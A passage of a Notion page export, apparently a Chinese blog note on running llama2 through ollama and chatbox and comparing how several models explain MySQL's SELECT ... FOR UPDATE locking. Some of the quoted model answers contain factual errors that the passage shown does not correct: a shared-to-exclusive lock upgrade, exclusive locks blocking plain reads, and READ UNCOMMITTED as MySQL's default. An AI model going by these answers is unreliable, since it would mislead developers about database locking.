2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":"","blockMap":{"block":{"e8fd9138-663d-415d-9684-24343fb3248f":{"value":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","version":842,"type":"page","content":["bc73e0a0-0940-4595-9732-ab9c28cd26a7","ba4103b9-8a3f-4c44-bda8-47b3722d4e15","e8405e22-2319-4ec0-93b3-5a799df21fc4","7dfa62e3-08fb-4a0d-af59-773b0f9f56dc","2aa083b8-0726-4e50-bd4d-f857b5dd0316","45149c38-559d-414b-830f-c06c20da7dec","281bb727-bba8-4f6e-a1ff-b55b6f76b39c","b64c746d-9c8c-458e-9292-2e365dea363b","1b0d3b8d-c1f0-4ca3-907c-1e34341d376b","db1102e6-f111-45af-96a4-db331284b95b","78995c5e-a842-4a30-b1a9-3a93f7b37307","5ea402bc-1e80-4e35-9b33-43c347bda5e7","90137cb7-47e4-42a8-bd95-3be130d612a0","5ed02535-d8e3-46f5-8efb-5e68003b6fec","426b70c6-f0fe-4849-b277-b986cc09a3eb","24e1ffff-e99e-4a8e-b080-f3948a289de8","0b1e06e4-21a7-4f20-b95c-dd39c9232d8e","d52f61a6-9530-45cf-8e55-5822170d7448","5efbbd51-23a0-4cc2-b034-3da0b79430f7","3fee6369-f3e1-4e3e-b833-b1f24a8acf97","d47a618f-cf90-4bc4-9557-6424452366d4","3b8b9cc1-9b38-4a3e-ab5a-56578873df3e","74300add-803e-4d7c-8304-a821a5d5ab2c","8976a6ea-02cb-4bf3-a518-053203e7e9c1","f5d8c5c4-1f5d-4a4d-8fd8-5c30e378c422","a97f0dde-a2f1-4dfa-8a56-f27c4f9396fb","eb3dc7f4-4bfd-454f-b935-cde5ab908c41","c713c08c-2d0b-4eb1-8817-71fec58212ef","bbe523e1-53a1-45de-af58-03a940f59e85","4bcc27a3-8629-411b-be7a-75aea797e1ed","9a6f7759-0331-4d60-95e2-dc10c6cb87bd","da1b112d-857e-4b6f-bf49-b7f5208b24e4","87c6e6a2-d2e3-4a18-8637-efe4abd4560f","2c28bfde-eb25-4e7a-a2c1-3c12dcb72f28","9a7a6897-3dfa-4aa8-9636-234b3c0b6548","58fecf87-6dcf-43db-a9c7-538f413796f7","68f363f2-b183-4280-9abb-eab957c3db38","412d0b21-bcfe-40d4-8fb7-a69d9bdb7c91","7e5fed0f-7e6c-4eb0-957b-af7e801e764e","f8a5c31e-aaeb-4215-bece-5545539ec80b","e2239195-971a-4985-8fac-5b9ea90996c0","44061d98-d405-487a-b2a4-078279d3d999","702ec273-b848-45ae-9fab-0e7e445b8470","e8a8f505-3549-4ded-a263-991f5462efb2","42700ae9-2627-40a2-9d1d-f9ed715ab0dc","a28dd66e-5a77-4dfe-815b-474c1e36c0fb","c48d0617-98e9-4c69-8225-a3fc30c3d5b4","97118fdd-3e4d-4a05-8d1f-d4a942831683","29619cb8-1036-4c56-ad1d-44078669c26b","9b400751-4342-4a08-b4a4-df5993d548f1","36ff61ac-481c-4f1f-9f17-6966b6e9789e","aac21867-aa33-4037-93e3-03b5f0ca84f9","2834c258-d3b3-48ce-9e95-8a21b18053f8","6e0e38e9-7774-4f49-9fbb-67e52a21593d","61c6bed7-36e1-43d5-bdc1-c281e9fcbdb2","926cfd3e-8b8e-4b25-b780-3aedf4064879","9d06ce11-437e-4aef-8661-c6551d358cf5","eecdbd14-19a7-4050-ab78-a5c5044e1336","202e55b5-762e-4ef1-90b0-2cc0ae26a99b","995338cf-4874-48b5-a462-ea834bd6b31b","bd7b81b2-82bd-4a81-950c-37ebef55f856","009e62c7-e513-4e3e-a0bb-731c95f0d22a","8b44dcb2-d944-4983-9c68-ff1d8e23825b","f9d3a393-9d76-4add-88b5-3f03e58614af","440e5ba9-2309-4223-9df2-50ca1b67e237","04273a50-0752-4c70-a1c5-d63b004d565a","58f477d0-e338-4fe8-9cf2-e0a3264bf5cf","e1da917b-bb71-4252-9f5f-d1c997b18551","9e9a91b1-4853-4e82-be32-ac8af17739b0","189b1da9-975a-42da-a706-02494cb76d01"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1711360737075,"last_edited_time":1711432140447,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"bc73e0a0-0940-4595-9732-ab9c28cd26a7":{"value":{"id":"bc73e0a0-0940-4595-9732-ab9c28cd26a7","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"ba4103b9-8a3f-4c44-bda8-47b3722d4e15":{"value":{"id":"ba4103b9-8a3f-4c44-bda8-47b3722d4e15","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711360833151,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"e8405e22-2319-4ec0-93b3-5a799df21fc4":{"value":{"id":"e8405e22-2319-4ec0-93b3-5a799df21fc4","type":"callout","properties":{"title":[["最近发现了meta发布了llama2模型,搜索一圈发现使用ollama部署特别的方便"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711360921658,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"7dfa62e3-08fb-4a0d-af59-773b0f9f56dc":{"value":{"id":"7dfa62e3-08fb-4a0d-af59-773b0f9f56dc","type":"text","format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711431632221,"last_edited_time":1711431632221,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"2aa083b8-0726-4e50-bd4d-f857b5dd0316":{"value":{"id":"2aa083b8-0726-4e50-bd4d-f857b5dd0316","type":"header","properties":{"title":[["基础配置"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711431632800,"last_edited_time":1711431645914,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"45149c38-559d-414b-830f-c06c20da7dec":{"value":{"id":"45149c38-559d-414b-830f-c06c20da7dec","type":"sub_header","properties":{"title":[["ollama"]]},"created_time":1711431646306,"last_edited_time":1711431652969,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"281bb727-bba8-4f6e-a1ff-b55b6f76b39c":{"value":{"id":"281bb727-bba8-4f6e-a1ff-b55b6f76b39c","type":"bulleted_list","properties":{"title":[["直接去官网下载:"],["https://ollama.com/",[["a","https://ollama.com/"]]]]},"created_time":1711431759881,"last_edited_time":1711431794946,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"b64c746d-9c8c-458e-9292-2e365dea363b":{"value":{"id":"b64c746d-9c8c-458e-9292-2e365dea363b","type":"bulleted_list","properties":{"title":[["命令行运行ollama -h查看命令集"]]},"created_time":1711431795269,"last_edited_time":1711431821182,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"1b0d3b8d-c1f0-4ca3-907c-1e34341d376b":{"value":{"id":"1b0d3b8d-c1f0-4ca3-907c-1e34341d376b","type":"bulleted_list","properties":{"title":[["查看本地模型列表:ollama list"]]},"created_time":1711431821391,"last_edited_time":1711431848208,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"db1102e6-f111-45af-96a4-db331284b95b":{"value":{"id":"db1102e6-f111-45af-96a4-db331284b95b","type":"bulleted_list","properties":{"title":[["下载并且运行模型:ollama run llama2:13b"]]},"created_time":1711431849867,"last_edited_time":1711431874747,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"78995c5e-a842-4a30-b1a9-3a93f7b37307":{"value":{"id":"78995c5e-a842-4a30-b1a9-3a93f7b37307","type":"image","properties":{"size":[["22.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0ed7329d-d7fd-4a94-b61c-b320abce770b/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0ed7329d-d7fd-4a94-b61c-b320abce770b/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.14055299539170507,"block_preserve_scale":true},"created_time":1711431901576,"last_edited_time":1711431905393,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"file_ids":["0ed7329d-d7fd-4a94-b61c-b320abce770b"]}},"5ea402bc-1e80-4e35-9b33-43c347bda5e7":{"value":{"id":"5ea402bc-1e80-4e35-9b33-43c347bda5e7","type":"sub_header","properties":{"title":[["chatbox"]]},"created_time":1711431654467,"last_edited_time":1711431658645,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"90137cb7-47e4-42a8-bd95-3be130d612a0":{"value":{"id":"90137cb7-47e4-42a8-bd95-3be130d612a0","type":"bulleted_list","properties":{"title":[["gpt的client端,支持多种模型,包括ollama本地运行的模型"]]},"created_time":1711431904161,"last_edited_time":1711431959299,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"5ed02535-d8e3-46f5-8efb-5e68003b6fec":{"value":{"id":"5ed02535-d8e3-46f5-8efb-5e68003b6fec","type":"bulleted_list","properties":{"title":[["地址:"],["https://github.com/Bin-Huang/chatbox",[["a","https://github.com/Bin-Huang/chatbox"]]]]},"created_time":1711431959516,"last_edited_time":1711431968578,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"426b70c6-f0fe-4849-b277-b986cc09a3eb":{"value":{"id":"426b70c6-f0fe-4849-b277-b986cc09a3eb","type":"bulleted_list","properties":{"title":[["内置了许多的promot,比如软件工程师,翻译助手,小红书标题生成器"]]},"created_time":1711432015229,"last_edited_time":1711432060152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"24e1ffff-e99e-4a8e-b080-f3948a289de8":{"value":{"id":"24e1ffff-e99e-4a8e-b080-f3948a289de8","type":"bulleted_list","properties":{"title":[["支持为每一个会话指定特殊的模型"]]},"created_time":1711431972909,"last_edited_time":1711431999240,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"0b1e06e4-21a7-4f20-b95c-dd39c9232d8e":{"value":{"id":"0b1e06e4-21a7-4f20-b95c-dd39c9232d8e","type":"image","properties":{"size":[["55.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/57a953d1-aa3b-4836-b7de-fa0eb70300f9/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/57a953d1-aa3b-4836-b7de-fa0eb70300f9/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6438709677419355,"block_preserve_scale":true},"created_time":1711432011414,"last_edited_time":1711432015041,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"file_ids":["57a953d1-aa3b-4836-b7de-fa0eb70300f9"]}},"d52f61a6-9530-45cf-8e55-5822170d7448":{"value":{"id":"d52f61a6-9530-45cf-8e55-5822170d7448","type":"header","properties":{"title":[["模型对比"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711431627441,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"5efbbd51-23a0-4cc2-b034-3da0b79430f7":{"value":{"id":"5efbbd51-23a0-4cc2-b034-3da0b79430f7","type":"sub_header","properties":{"title":[["promot\u0026question"]]},"created_time":1711431666810,"last_edited_time":1711431693171,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"3fee6369-f3e1-4e3e-b833-b1f24a8acf97":{"value":{"id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","type":"quote","properties":{"title":[["promot:"]]},"content":["f8f42a19-b2fc-45dd-a16f-7eb56a1f35e9","3c5a4d3b-35b4-45cd-89a6-36019aef8fe9","765c2ea5-38db-401e-b852-a981010c0f96"],"created_time":1711432078852,"last_edited_time":1711432097278,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f8f42a19-b2fc-45dd-a16f-7eb56a1f35e9":{"value":{"id":"f8f42a19-b2fc-45dd-a16f-7eb56a1f35e9","type":"text","properties":{"title":[["你是一个高级软件工程师,你需要帮我解答各种技术难题、设计技术方案以及编写代码。你编写的代码必须可以正常运行,而且没有任何 Bug 和其他问题。如果你的回答中用代码,请用 markdown 代码块,并且在代码块中标明使用的编程语言。\n\nquestion:"]]},"created_time":1711432082528,"last_edited_time":1711432099043,"parent_id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","parent_table":"block","alive":true}},"3c5a4d3b-35b4-45cd-89a6-36019aef8fe9":{"value":{"id":"3c5a4d3b-35b4-45cd-89a6-36019aef8fe9","type":"text","properties":{"title":[["select * from t where c=5 for update;"]]},"created_time":1711432097276,"last_edited_time":1711432097278,"parent_id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","parent_table":"block","alive":true}},"765c2ea5-38db-401e-b852-a981010c0f96":{"value":{"id":"765c2ea5-38db-401e-b852-a981010c0f96","type":"text","properties":{"title":[["but c not index,tell me the process of locking\nand the time of release lock"]]},"created_time":1711432097276,"last_edited_time":1711432097278,"parent_id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","parent_table":"block","alive":true}},"d47a618f-cf90-4bc4-9557-6424452366d4":{"value":{"id":"d47a618f-cf90-4bc4-9557-6424452366d4","type":"sub_header","properties":{"title":[["openai:3.5"]]},"created_time":1711361547854,"last_edited_time":1711431700585,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"3b8b9cc1-9b38-4a3e-ab5a-56578873df3e":{"value":{"id":"3b8b9cc1-9b38-4a3e-ab5a-56578873df3e","type":"text","properties":{"title":[["When you run a query like "],["SELECT * FROM t WHERE c=5 FOR UPDATE;",[["c"]]],[" in MySQL on a column "],["c",[["c"]]],[" that is not indexed, MySQL will perform a full table scan to find the rows that match the condition "],["c=5",[["c"]]],[". During this process, MySQL will acquire a shared lock on all the rows it reads to prevent other transactions from modifying them."]]},"created_time":1711361625622,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"74300add-803e-4d7c-8304-a821a5d5ab2c":{"value":{"id":"74300add-803e-4d7c-8304-a821a5d5ab2c","type":"text","properties":{"title":[["Here is the general process of locking and the time of releasing the lock:"]]},"created_time":1711361625624,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"8976a6ea-02cb-4bf3-a518-053203e7e9c1":{"value":{"id":"8976a6ea-02cb-4bf3-a518-053203e7e9c1","type":"numbered_list","properties":{"title":[["Shared (Read) Lock",[["b"]]],[": MySQL will acquire a shared (read) lock on the rows that match the condition "],["c=5",[["c"]]],[". This lock allows other transactions to read the locked rows but prevents them from modifying them."]]},"created_time":1711361625625,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f5d8c5c4-1f5d-4a4d-8fd8-5c30e378c422":{"value":{"id":"f5d8c5c4-1f5d-4a4d-8fd8-5c30e378c422","type":"numbered_list","properties":{"title":[["Exclusive (Write) Lock",[["b"]]],[": When you use "],["FOR UPDATE",[["c"]]],[" in your query, MySQL will upgrade the shared lock to an exclusive (write) lock on the matched rows. This exclusive lock prevents other transactions from both reading and writing to the locked rows until the transaction is either committed or rolled back."]]},"created_time":1711361625626,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"a97f0dde-a2f1-4dfa-8a56-f27c4f9396fb":{"value":{"id":"a97f0dde-a2f1-4dfa-8a56-f27c4f9396fb","type":"numbered_list","properties":{"title":[["Time of Releasing Lock",[["b"]]],[": The lock acquired using "],["FOR UPDATE",[["c"]]],[" will be released when the current transaction is either committed or rolled back. If the transaction is rolled back, the lock will be released immediately. If the transaction is committed, the exclusive locks will be released at the end of the transaction."]]},"created_time":1711361625627,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"eb3dc7f4-4bfd-454f-b935-cde5ab908c41":{"value":{"id":"eb3dc7f4-4bfd-454f-b935-cde5ab908c41","type":"text","properties":{"title":[["It's important to note that locking behavior can vary depending on the isolation level of the transaction and the specific MySQL configuration settings. Additionally, using "],["FOR UPDATE",[["c"]]],[" without an index on the column can lead to performance issues, especially on large tables, as it may result in full table scans and increased locking contention. Consider adding an index on column "],["c",[["c"]]],[" if this query is frequently used for better performance."]]},"created_time":1711361625627,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"c713c08c-2d0b-4eb1-8817-71fec58212ef":{"value":{"id":"c713c08c-2d0b-4eb1-8817-71fec58212ef","type":"sub_header","properties":{"title":[["mistral:7b"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711431703334,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"bbe523e1-53a1-45de-af58-03a940f59e85":{"value":{"id":"bbe523e1-53a1-45de-af58-03a940f59e85","type":"text","properties":{"title":[["Based on your SQL query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[", it seems you are working with MySQL or a similar database management system. In this context, let's discuss the process of obtaining and releasing locks in relation to this query."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"4bcc27a3-8629-411b-be7a-75aea797e1ed":{"value":{"id":"4bcc27a3-8629-411b-be7a-75aea797e1ed","type":"text","properties":{"title":[["When you execute the query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[", the database engine acquires a lock on the record(s) with column 'c' equal to 5, preventing other transactions from reading or updating those records until the current transaction is committed or rolled back. This process ensures data consistency and concurrency control."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9a6f7759-0331-4d60-95e2-dc10c6cb87bd":{"value":{"id":"9a6f7759-0331-4d60-95e2-dc10c6cb87bd","type":"text","properties":{"title":[["The actual time of obtaining a lock depends on various factors such as network latency, server workload, and database configuration. Generally, it's considered to be an instantaneous operation once the query execution reaches that point. However, keep in mind that the actual query processing time and network transfer time might add significant delay."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"da1b112d-857e-4b6f-bf49-b7f5208b24e4":{"value":{"id":"da1b112d-857e-4b6f-bf49-b7f5208b24e4","type":"text","properties":{"title":[["As for releasing the lock, it happens automatically when the current transaction is committed or rolled back. Once the transaction has been finalized, the database engine releases the locks on the corresponding records, making them available to other transactions again."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"87c6e6a2-d2e3-4a18-8637-efe4abd4560f":{"value":{"id":"87c6e6a2-d2e3-4a18-8637-efe4abd4560f","type":"text","properties":{"title":[["Here's a simplified overview of the process:"]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"2c28bfde-eb25-4e7a-a2c1-3c12dcb72f28":{"value":{"id":"2c28bfde-eb25-4e7a-a2c1-3c12dcb72f28","type":"numbered_list","properties":{"title":[["The query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[" is executed."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9a7a6897-3dfa-4aa8-9636-234b3c0b6548":{"value":{"id":"9a7a6897-3dfa-4aa8-9636-234b3c0b6548","type":"numbered_list","properties":{"title":[["The database engine locates the record(s) with 'c' equal to 5 and acquires a lock on them."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"58fecf87-6dcf-43db-a9c7-538f413796f7":{"value":{"id":"58fecf87-6dcf-43db-a9c7-538f413796f7","type":"numbered_list","properties":{"title":[["Once the query has finished processing those records, the transaction is committed or rolled back."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"68f363f2-b183-4280-9abb-eab957c3db38":{"value":{"id":"68f363f2-b183-4280-9abb-eab957c3db38","type":"numbered_list","properties":{"title":[["If the transaction is committed, the locks are released and made available for other transactions."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"412d0b21-bcfe-40d4-8fb7-a69d9bdb7c91":{"value":{"id":"412d0b21-bcfe-40d4-8fb7-a69d9bdb7c91","type":"numbered_list","properties":{"title":[["If the transaction is rolled back, the locks are also released but any changes made during the transaction are discarded."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"7e5fed0f-7e6c-4eb0-957b-af7e801e764e":{"value":{"id":"7e5fed0f-7e6c-4eb0-957b-af7e801e764e","type":"sub_header","properties":{"title":[["llama2:4b"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711361049479,"last_edited_time":1711361567824,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f8a5c31e-aaeb-4215-bece-5545539ec80b":{"value":{"id":"f8a5c31e-aaeb-4215-bece-5545539ec80b","type":"text","properties":{"title":[["As a high-level software engineer, I'd be happy to help you with your question."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"e2239195-971a-4985-8fac-5b9ea90996c0":{"value":{"id":"e2239195-971a-4985-8fac-5b9ea90996c0","type":"text","properties":{"title":[["The query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[" is a common mechanism for acquiring a row-level lock on a table "],["t",[["c"]]],[" for the specified condition "],["c = 5",[["c"]]],[". When this query is executed, it will acquire an exclusive lock on the rows that match the condition, preventing any other concurrent updates or reads from accessing those rows until the lock is released."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"44061d98-d405-487a-b2a4-078279d3d999":{"value":{"id":"44061d98-d405-487a-b2a4-078279d3d999","type":"text","properties":{"title":[["The process of locking in this case involves the following steps:"]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"702ec273-b848-45ae-9fab-0e7e445b8470":{"value":{"id":"702ec273-b848-45ae-9fab-0e7e445b8470","type":"numbered_list","properties":{"title":[["The query is executed and a lock is acquired on the relevant rows."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"e8a8f505-3549-4ded-a263-991f5462efb2":{"value":{"id":"e8a8f505-3549-4ded-a263-991f5462efb2","type":"numbered_list","properties":{"title":[["The lock is held by the thread that executed the query, preventing any other threads from acquiring the same lock until it is released."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"42700ae9-2627-40a2-9d1d-f9ed715ab0dc":{"value":{"id":"42700ae9-2627-40a2-9d1d-f9ed715ab0dc","type":"numbered_list","properties":{"title":[["The lock is released when the thread that executed the query completes its work and no longer needs the lock."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"a28dd66e-5a77-4dfe-815b-474c1e36c0fb":{"value":{"id":"a28dd66e-5a77-4dfe-815b-474c1e36c0fb","type":"numbered_list","properties":{"title":[["Other threads can then acquire the lock and update or read the rows that were previously locked."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"c48d0617-98e9-4c69-8225-a3fc30c3d5b4":{"value":{"id":"c48d0617-98e9-4c69-8225-a3fc30c3d5b4","type":"text","properties":{"title":[["The time of release lock depends on various factors, including the operating system, hardware, and database configuration. In general, the lock is released when the thread that executed the query completes its work and no longer needs the lock. This can happen immediately after the query is executed, or it may take some time depending on the complexity of the task and the availability of resources."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"97118fdd-3e4d-4a05-8d1f-d4a942831683":{"value":{"id":"97118fdd-3e4d-4a05-8d1f-d4a942831683","type":"text","properties":{"title":[["In MySQL, the default isolation level is "],["READ UNCOMMITTED",[["c"]]],[", which means that locks are acquired using the "],["FOR UPDATE",[["c"]]],[" clause. This allows other threads to read the rows while the first thread is updating them, but it does not guarantee that the second thread will see the updates made by the first thread before committing its changes."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"29619cb8-1036-4c56-ad1d-44078669c26b":{"value":{"id":"29619cb8-1036-4c56-ad1d-44078669c26b","type":"text","properties":{"title":[["If you want to 